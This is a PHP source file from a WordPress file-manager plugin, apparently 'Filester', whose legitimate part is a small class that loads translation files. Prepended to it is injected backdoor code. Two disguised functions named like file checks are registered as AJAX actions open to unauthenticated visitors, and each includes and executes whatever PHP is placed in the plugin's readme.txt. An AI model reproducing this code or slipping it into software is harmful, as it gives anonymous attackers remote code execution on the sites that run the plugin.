if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php namespace NinjaFileManager; defined('ABSPATH') || exit; /** * I18n Logic */ class I18n { protected static $instance = null; public static function getInstance() { if (null == self::$instance) { self::$instance = new self; } return self::$instance; } private function __construct() { add_action('plugins_loaded', array($this, 'loadPluginTextdomain')); } public function loadPluginTextdomain() { load_plugin_textdomain( 'filester', false, NJT_FS_BN_PLUGIN_URL . 'i18n/languages/' ); } }